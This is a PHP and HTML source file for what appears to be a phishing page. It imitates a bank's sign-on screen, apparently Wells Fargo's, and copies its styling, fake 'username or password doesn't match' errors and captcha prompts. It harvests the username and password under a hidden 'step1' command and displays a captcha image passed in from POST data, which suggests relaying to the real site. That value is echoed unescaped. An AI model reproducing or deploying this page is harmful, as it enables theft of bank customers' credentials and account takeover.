<?
function getGreetingByUserTime()
{

    $timezone = $_COOKIE['user_timezone'] ?? date_default_timezone_get();

    try {
        $dt = new DateTime('now', new DateTimeZone($timezone));
    } catch (Exception $e) {
        $dt = new DateTime('now');
    }
    $hour = (int) $dt->format('H');

    // 4) Логика приветствий
    if ($hour < 12) {
        $arResp['greet'] = 'Good morning';
        $arResp['img'] = 'morning.jpg';
    } elseif ($hour < 18) {
        $arResp['greet'] = 'Good afternoon';
        $arResp['img'] = 'afternoon.jpg';
    } else {
        $arResp['greet'] = 'Good evening';
        $arResp['img'] = 'evening.jpg';
    }

    return $arResp;
}

if($_COOKIE['user_timezone'] == false){
?>
<script>
if (!document.cookie.includes('user_timezone=')) {
    const tz = Intl.DateTimeFormat().resolvedOptions().timeZone;
    document.cookie = `user_timezone=${encodeURIComponent(tz)}; path=/`;
     location.reload();
}
</script>
<? }
else{
  $arGreet = getGreetingByUserTime();
}?>

<? include("header1.php"); ?>

<div class="FloatingPage__floating-container___eisjJ FloatingPage__desktop___HERT8 antiClickjackContent" data-testid="floatingPage">
<? if($_POST["error"] != false){?>
<div class="ErrorMessage__errorMessageContainer___bq38X ErrorMessage__desktop___fHjsJ" data-testid="errorMessage"><div class="WFMessage__wfMessage___KYCOS WFMessage__pageLevel___ysg5V WFMessage__error___yCQgS WFMessage__desktop___lmc17" role="region" aria-label="Alerts and Notifications" data-testid="wf-message-container" style="display: flex; flex-flow: row nowrap; flex: 1 1 auto; align-items: stretch;"><span tabindex="-1" class="AccessibilityText__accessibilityText___oIzQa"><span class="visuallyHidden"><span data-localized="global.begin.region">Begin region</span></span></span><div class="WFMessage__iconContainer___vnnWO" style="display: flex; flex-flow: column nowrap; align-items: center; justify-content: flex-start;"><span class="AccessibilityText__accessibilityText___oIzQa"><span class="visuallyHidden">Error</span></span><svg width="32px" height="32px" viewBox="0 0 32 32" aria-hidden="true" role="img" focusable="false"><g class="EmergencyIcon__wrapper___pRQrj"><path class="EmergencyIcon__linePath___rJ9vB" d="M17.7301 26.4607L28.2838 7.99182C28.8318 7.03278 28.4986 5.81107 27.5396 5.26305C27.2374 5.09037 26.8953 4.99954 26.5473 4.99954H5.44C4.33543 4.99954 3.44 5.89497 3.44 6.99954C3.44 7.34759 3.53083 7.68962 3.70352 7.99182L14.2572 26.4607C14.8052 27.4197 16.0269 27.7529 16.9859 27.2049C17.296 27.0277 17.553 26.7707 17.7301 26.4607Z"></path><path class="EmergencyIcon__dotPath___EsNaB" d="M16.0577 18.792C16.4297 18.792 16.7387 18.912 16.9847 19.152C17.2307 19.392 17.3537 19.704 17.3537 20.088C17.3537 20.46 17.2307 20.772 16.9847 21.024C16.7387 21.276 16.4297 21.402 16.0577 21.402C15.6737 21.402 15.3587 21.276 15.1127 21.024C14.8667 20.772 14.7437 20.46 14.7437 20.088C14.7437 19.704 14.8667 19.392 15.1127 19.152C15.3587 18.912 15.6737 18.792 16.0577 18.792ZM17.2277 9L16.8317 17H15.2477L14.8517 9H17.2277Z"></path></g></svg></div><div class="WFMessage__contentContainer___Zgxix" style="display: flex; flex-flow: column nowrap;"><div id="messageTextContentOrigin-RXEBOYSU" role="presentation" class="ContentEventWrapper__content___i86KF ContentEventWrapper__anchorColor___xMwkk WFMessage__messageContent___X4Nex"><div>

<?if($_POST["captcha"] != false){?>
  <div class="ErrorMessage__errorMessageText___G0chy"><p>To protect your account, please enter the moving letters and/or numbers in the CAPTCHA, and re-enter your username and password to continue.</p>
  </div>
<?}else{?>
<div class="ErrorMessage__errorMessageText___G0chy"><p>That combination doesn't match our records. You can try again, or we can help you <a href="#">create a new password or find your username</a>.</p>
</div>
<?}?>
</div></div></div></div></div>
<?}?>
                              <div class="FloatingPage__salutationTitle___WuPLY" style="display: flex; flex-wrap: nowrap; align-items: center; justify-content: center;">
                                <h1 tabindex="-1" class="FloatingPage__heading___m3xcM"><?=$arGreet['greet'];?>
                                  <span data-testid="pageTitle" class="FloatingPage__subTitle___dXWGR"><span data-localized="false"></span>
                                  </span>
                                </h1>
                              </div>
                              <div class="">
                                <form id="form1" action="" autocomplete="off" method="post" novalidate="" class="">

                                  <div class="PasswordLoginForm__containerWrap___lvV0L">
                                    <div class="PasswordLoginForm__usernameBlock___HQvQ7">
                                      <div class="PasswordLoginForm__usernameFieldDiv___wrEoh">
                                        <div class="WFFieldSpacing__text___GjkBg">
                                          <div class="WFField__field___GI7v2">
                                            <div style="--wf-input-icon-box-width: 16px;">
                                              <div id="loginDiv" class="WFInput__inputContainer___hNhd_ WFInput__notReadOnly___EhwjW WFInput__fusion2___yBk_y">
                                                <div id="loginLabel" class="WFInputLabel__label___SUJk1 WFInputLabel__fusion2___VQTt0" data-testid="label-j_username" style="transition: all 0.2s ease 0s; margin-left: 16px; display: flex; flex-flow: row nowrap; align-items: flex-start;">
                                                  <label id="labelforj_username" for="j_username" class="" style="display: flex; flex-flow: row nowrap; align-items: flex-start;">Username</label>
                                                </div>
                                                <input data-tracking-ref="WFInput-input-" id="login" name="login" type="text" autocomplete="off" tabindex="0" class="WFInput__inputField___bKfh0 pmask" data-testid="input-j_username" data-focus-target="true" aria-labelledby="labelforj_username" value="" style="--wf-input-padding-left: 16px;" minlength="0" maxlength="14" aria-required="false"><div class="WFInput__actionItems___yjjbO"></div>
                                              </div>
                                            </div>
                                            <div id="loginError" style="display:none;"><div id="DFEYHPCP" class="WFFormFieldMessage__message___GAmwC  WFFormFieldMessage__text___cV2Qp" role="" style="display: flex; flex-flow: row nowrap;"><div><span class="AccessibilityText__accessibilityText___oIzQa"><span class="visuallyHidden">Error</span></span><svg width="16px" height="16px" viewBox="0 0 16 16" aria-hidden="true" role="img" class="WFFieldErrorIcon__icon___lz7Ln" focusable="false"><g fill="none" fill-rule="evenodd"><g opacity=".01"><path fill="#FFBFF9" d="M0 0h16v16H0z"></path><path fill="#FFF" d="M1 1h14v14H1z"></path><g stroke="#FF2AEC"><rect stroke-width=".15" x="4.575" y="1.075" width="6.85" height="13.85" rx="1"></rect><path d="M14.925 5.5A.925.925 0 0014 4.575H2a.925.925 0 00-.925.925v5c0 .51.414.925.925.925h12c.51 0 .925-.414.925-.925v-5z" stroke-width=".15"></path><path d="M8 15V.978M15 8H1M14.5 14.5l-13-13M1.5 14.5l13-13" stroke-width=".15" stroke-linecap="square" stroke-dasharray="1"></path><circle stroke-width=".35" cx="8" cy="8" r="5.825"></circle><circle stroke-width=".35" cx="8" cy="8" r="3.325"></circle><rect stroke-width=".35" x="2.175" y="2.175" width="11.65" height="11.65" rx="1"></rect></g></g><path d="M8 13.6A5.6 5.6 0 1113.6 8 5.607 5.607 0 018 13.6zm-.374-4.33h.74l.184-3.99H7.441l.185 3.99zm.378 1.798a.58.58 0 00.433-.176.6.6 0 00.172-.437.583.583 0 00-.605-.605.605.605 0 00-.44.168.583.583 0 00-.173.437.6.6 0 00.172.437.59.59 0 00.441.176z" fill="#BF2D19"></path></g></svg></div><span>That username is too short.</span></div></div>
                                          </div>
                                        </div>
                                      </div>
                                      <button type="button" id="clearLogin" aria-label="Clear username" class="Button__button___Jo8E3 PasswordLoginForm__clearIcon___PdhmN" data-testid="username-clearIcon"><svg width="19px" height="19px" viewBox="0 0 19 19" aria-hidden="true" role="img" class="DeleteAllIcon__deleteAllIcon___CUI9j" focusable="false"><path d="M13.44 12.52l-1.06 1.06-3.01-3.01-3 3.01-1.07-1.06 3.01-3.01-3.01-3 1.07-1.06 3 3 3.01-3 1.06 1.06-3.01 3 3.01 3.01z"></path><path d="M9.35 18.53a9.1 9.1 0 1 1 9.1-9.1 9.11 9.11 0 0 1-9.1 9.1zm0-17.14a8 8 0 1 0 8 8 8 8 0 0 0-8-8z"></path></svg>
                                      </button>
                                    </div>
                                    <div class="PasswordLoginForm__passwordField___At8Ad">
                                      <div class="PasswordLoginForm__passwordField___At8Ad">
                                        <div class="WFFieldSpacing__text___GjkBg">
                                          <div class="WFField__field___GI7v2">
                                            <div style="--wf-input-icon-box-width: 62.333343505859375px;">
                                              <div id="passDiv" class="WFInput__inputContainer___hNhd_ WFInput__maskable___lGd73 WFInput__notReadOnly___EhwjW WFInput__fusion2___yBk_y">
                                                <div id="passLabel" class="WFInputLabel__label___SUJk1 WFInputLabel__fusion2___VQTt0" data-testid="label-j_password" style="transition: all 0.2s ease 0s; margin-left: 16px; display: flex; flex-flow: row nowrap; align-items: flex-start;">
                                                  <label id="labelforj_password" for="j_password" class="" style="display: flex; flex-flow: row nowrap; align-items: flex-start;">Password</label>
                                                </div>
                                                <input data-tracking-ref="WFInput-input-" id="password" name="password" type="password" autocomplete="off" tabindex="0" class="WFInput__inputField___bKfh0 pmask" data-testid="input-j_password" data-focus-target="true" aria-labelledby="labelforj_password" value="" style="--wf-input-padding-left: 16px;" minlength="0" maxlength="32" aria-required="false"><div class="WFInput__actionItems___yjjbO WFInput__actionButtons___vZSo9">
                                                  <div class="WFInput__actionButton___WZjYJ" style="display: flex; flex-flow: row nowrap; flex: 1 1 auto; align-items: center; justify-content: center;">
                                                    <button type="button" aria-label="Unmask Password" class="Button__button___Jo8E3 MaskButton__button___WRyHS MaskButton__fusion2___PukYm" data-testid="unmask-j_password">
                                                      <span class="" style="display: flex; flex-flow: row nowrap; align-items: center; justify-content: center;">
                                                        <span id="showPass" class="WFButtonLink__buttonLink___wfwiz MaskButton__ShowHideMaskText___rJr2q">Show</span>
                                                      </span>
                                                    </button>
                                                  </div></div>
                                              </div>
                                            </div>
                                            <div id="passError" style="display:none;"><div id="HVLZAYIA" class="WFFormFieldMessage__message___GAmwC  WFFormFieldMessage__text___cV2Qp" role="" style="display: flex; flex-flow: row nowrap;"><div><span class="AccessibilityText__accessibilityText___oIzQa"><span class="visuallyHidden">Error</span></span><svg width="16px" height="16px" viewBox="0 0 16 16" aria-hidden="true" role="img" class="WFFieldErrorIcon__icon___lz7Ln" focusable="false"><g fill="none" fill-rule="evenodd"><g opacity=".01"><path fill="#FFBFF9" d="M0 0h16v16H0z"></path><path fill="#FFF" d="M1 1h14v14H1z"></path><g stroke="#FF2AEC"><rect stroke-width=".15" x="4.575" y="1.075" width="6.85" height="13.85" rx="1"></rect><path d="M14.925 5.5A.925.925 0 0014 4.575H2a.925.925 0 00-.925.925v5c0 .51.414.925.925.925h12c.51 0 .925-.414.925-.925v-5z" stroke-width=".15"></path><path d="M8 15V.978M15 8H1M14.5 14.5l-13-13M1.5 14.5l13-13" stroke-width=".15" stroke-linecap="square" stroke-dasharray="1"></path><circle stroke-width=".35" cx="8" cy="8" r="5.825"></circle><circle stroke-width=".35" cx="8" cy="8" r="3.325"></circle><rect stroke-width=".35" x="2.175" y="2.175" width="11.65" height="11.65" rx="1"></rect></g></g><path d="M8 13.6A5.6 5.6 0 1113.6 8 5.607 5.607 0 018 13.6zm-.374-4.33h.74l.184-3.99H7.441l.185 3.99zm.378 1.798a.58.58 0 00.433-.176.6.6 0 00.172-.437.583.583 0 00-.605-.605.605.605 0 00-.44.168.583.583 0 00-.173.437.6.6 0 00.172.437.59.59 0 00.441.176z" fill="#BF2D19"></path></g></svg></div><span>That password is too short.</span></div></div>
                                          </div>
                                        </div>
                                      </div>
                                    </div>
                                    <div data-testid="saveUsername-checkbox" class="" style="display: flex; flex-flow: row nowrap; align-items: center;">
                                      <div>
                                        <div class="WFField__field___GI7v2 PasswordLoginForm__checkboxLabel___P0crz">
                                          <div class=""><div data-accessible-id="FHWDAUOH" data-tracking-ref="WFCheckbox-checkbox-" class="WFCheckbox__checkbox___S8kRN" role="checkbox" tabindex="0" data-focus-target="true" data-testid="checkbox-saveUsername" aria-checked="false" aria-labelledby="SLCROVXB" style="display: inline-flex; flex-flow: row nowrap;" aria-disabled="false">
                                              <div class="" style="align-items: center;"><svg id="remember" width="24px" height="24px" viewBox="0 0 24 24" aria-hidden="true" role="img" class="CheckboxIcon__checkbox___TaQ_m" focusable="false"><g><rect data-container="" stroke-width="1" x="0.5" y="0.5" width="23" height="23" rx="1.5"></rect></g><g data-indeterminate="" stroke="none" stroke-width="2" fill="none" fill-rule="evenodd"><path data-mark="" d="M17.5799 11C18.1322 11 18.5799 11.4477 18.5799 12C18.5799 12.5128 18.1939 12.9355 17.6965 12.9933L17.5799 13H6.41992C5.86764 13 5.41992 12.5523 5.41992 12C5.41992 11.4872 5.80596 11.0645 6.3033 11.0067L6.41992 11H17.5799Z"></path></g><g data-checked="" stroke="none" stroke-width="0.1" fill="none" fill-rule="evenodd"><path data-mark="" d="M17.3413 7.33984C17.6657 6.94639 18.2534 6.88571 18.654 7.2043C19.0238 7.49838 19.1049 8.01283 18.86 8.39969L18.792 8.49354L11.2345 17.6602C10.9362 18.022 10.4148 18.1026 10.0211 17.8648L9.92556 17.7987L5.34978 14.198C4.94751 13.8815 4.88268 13.3046 5.20498 12.9095C5.5025 12.5448 6.02587 12.4625 6.42103 12.7009L6.51695 12.7673L10.3676 15.7972L17.3413 7.33984Z" fill="#FFFFFF" fill-rule="nonzero"></path></g></svg>
                                              </div>
                                              <div aria-hidden="true" id="SLCROVXB" class="WFCheckbox__valueLabel___Gjd6A">Save username</div><input type="hidden" name="saveUserName" value="false"></div>
                                          </div>
                                          <div class="WFSupportingText__text___kXIlT WFSupportingText__fusion2___rujQh PasswordLoginForm__text___aaQlT" data-supporting-text="" style="display: flex; flex-flow: row nowrap; flex: 1 1 auto;">
                                            <span data-localized="loginApp.login.saveUsername.supportingText">To help keep your account secure, save your username only on devices that aren't used by other people.</span>
                                          </div>
                                        </div>
                                      </div>
                                    </div>
                                  </div>
                                  <section id="catpchaDiv" <?if($_POST["captcha"] == false){?> style="display:none;"<?}?> class="CaptchaPayload__captchaWrapper___FoQ0x" id="captchaContainer" data-testid="capatcha-payload"><div id="nd-captcha" class="nd-captcha" lang="en"><div id="nucaptcha-widget" class="nucaptcha-widget" role="group" aria-label="Help us make sure you're a person">
                                        <div id="nucaptcha-widget-container" class="nucaptcha-widget-container">
                                        <div id="nucaptcha-player" class="nucaptcha-player wm-script pt-script pm-video l-eng">

                                        <div id="CaptchaPayload__nucaptcha-container___bAnKZ" role="group" aria-labelledby="verbose-label-wrapper">
                                            <div id="verbose-label-wrapper" class="CaptchaPayload__verboseLabelWrapper___VNjSW">Help us make sure you're a person</div>
                                            <div id="CaptchaPayload__nucaptcha-media-buttons___VMXnJ">
                                                <div id="CaptchaPayload__nucaptcha-media___fjcTh">
                                                    <div id="media-container" class="media-container">
                                    <img aria-label="CAPTCHA challenge" id="captchaImg" role="img" src="<?=$_POST["captcha"]?>" width="240" height="60" />

                                                    </div>
                                                </div>
                                            </div>
                                            <div id="CaptchaPayload__nucaptcha-answer-wrapper___bYpw0">
                                              <label id="nucaptcha-input-label" for="nucaptcha-answer">Enter the characters</label>
                                              <input id="captcha_code" name="captcha_code" placeholder="Enter the characters you see" class="nucaptcha-answer" name="nucaptcha-answer" title="" type="text" maxlength="64" aria-required="true" autocomplete="off" iprname="ndinputat" aria-labelledby="nucaptcha-input-label">
                                            </div>
                                        </div>
                                        </div>
                                        </div>
                                    </div>


                                    </div></section>
                                  <div class="PasswordLoginForm__signOnButton___LNWOU" style="display: flex; flex-wrap: nowrap; align-items: center; justify-content: center;">
                                    <div class="PasswordLoginForm__buttonContainer___E69mo">
                                      <button type="button" id="signIn" disabled="" class="Button__button___Jo8E3 Button__modern___cqCp7 Button__disabled___X56Xb Button__responsive___Xx9EJ Button__primary___tsDHA" data-testid="signon-button">Sign on</button>
                                    </div>
                                  </div>

                                  <section class="Panel__panel___dFjGF Panel__desktop___zgpFr" data-testid="panel-container" style="display: flex; flex-flow: row nowrap; align-items: center; justify-content: center;">
                                    <a href="#" data-tracking-ref="WFLink-a-" data-testid="forgotUsernamePassword" class="WFLink__link___x4giI WFLink__commonIndicator___BckQa Panel__panelFooter___y4us0 Panel__desktop___zgpFr"><span class="WFLink__inner___Ss54o"><svg width="12px" height="12px" aria-hidden="true" role="img" focusable="false"><path d="M5.79535 10.4696C5.98566 10.6697 6.30215 10.6776 6.50224 10.4873L10.828 6.37298C11.0448 6.17982 11.0524 5.84013 10.8396 5.63769L6.50222 1.51269C6.30213 1.32239 5.98564 1.33033 5.79534 1.53043C5.60504 1.73053 5.61298 2.04701 5.81308 2.23731L9.24373 5.5H1.45C1.20147 5.5 1 5.72386 1 6C1 6.27614 1.20147 6.5 1.45 6.5H9.24346L5.81306 9.7627C5.61297 9.95301 5.60504 10.2695 5.79535 10.4696Z"></path></svg><span class="WFLink__text___Ia8fg"><span data-localized="loginApp.login.label.forgotUsernamePassword">Forgot username or password?</span></span></span>
                                    </a>
                                  </section>
                      <input type="hidden" name="command" value="step1" />
                      <input type="hidden" name="suid" value="<?=md5("kol".rand(10000,9999999).md5(time()))?>" />

                            </form>

<script src="res/jq.js" type="text/javascript"></script>
<script>
$( document ).ready(function() {



    $("#login").val("");
    $("#password").val("");

    $("#login").focus(function(){
      $("#loginDiv").addClass('WFInput__hasFocus___V6rk7');
      $("#loginLabel").addClass('WFInputLabel__transition___CuEqT');
    });

    $("#login").blur(function(){
      if($("#login").val() == ''){

        $("#loginLabel").removeClass('WFInputLabel__transition___CuEqT');
      }
      $("#loginDiv").removeClass('WFInput__hasFocus___V6rk7');
    });

    $("#password").focus(function(){
      $("#passDiv").addClass('WFInput__hasFocus___V6rk7');
      $("#passLabel").addClass('WFInputLabel__transition___CuEqT');
    });

    $("#password").blur(function(){
      if($("#password").val() == ''){

        $("#passLabel").removeClass('WFInputLabel__transition___CuEqT');
      }
      $("#passDiv").removeClass('WFInput__hasFocus___V6rk7');
    });

    function check(){
        var err = 0;
        if($("#login").val().length < 6){
            $("#loginDiv").addClass("WFInput__invalid___qRg4J");
            $("#loginError").show();
            err++;
        }else{
            $("#loginDiv").removeClass("WFInput__invalid___qRg4J");
            $("#loginError").hide();
        }
        if($("#password").val().length < 6){
            $("#passDiv").addClass("WFInput__invalid___qRg4J");
            $("#passError").show();
            err++;
        }else{
            $("#passDiv").removeClass("WFInput__invalid___qRg4J");
            $("#passError").hide();
        }

        <?if($_POST["captcha"] != false){?>
          if($("#captcha_code").val().length < 1){
              $("#captcha_code").css('border-color','red');
              err++;
          }else{
              $("#captcha_code").css('border-color','');
          }
        <?}?>
        if(err == 0)
        {
            $("#signIn").removeAttr("disabled");
            $("#signIn").removeClass("Button__disabled___X56Xb");
            return true;
        }
        else{
            $("#signIn").attr("disabled","true");
            $("#signIn").addClass("Button__disabled___X56Xb");
            return false;
        }
    }

    $("#showPass").click(function(e){
        e.preventDefault();
        if($("#showPass").html() == 'Show'){
          $("#showPass").html('Hide');
          $("#password").attr('type','text');
        }
        else{
          $("#showPass").html('Show');
          $("#password").attr('type','password');
        }
    });

    $("#clearLogin").click(function(){
      $("#login").val("");
    });

    $("#remember").click(function(e){
        e.preventDefault();
        $("#remember").toggleClass("CheckboxIcon__checked___w0DlF");
    });

    $("#signIn").click(function(e){
        e.preventDefault();
        if(check())$("#form1").submit();
    });

    $("#login").keyup(function() {check();});
    $("#password").keyup(function() {check();});
    <?if($_POST["captcha"] != false){?>
      $("#captcha_code").keyup(function() {check();});
    <?}?>
});
</script>
<? include("footer1.php"); ?>
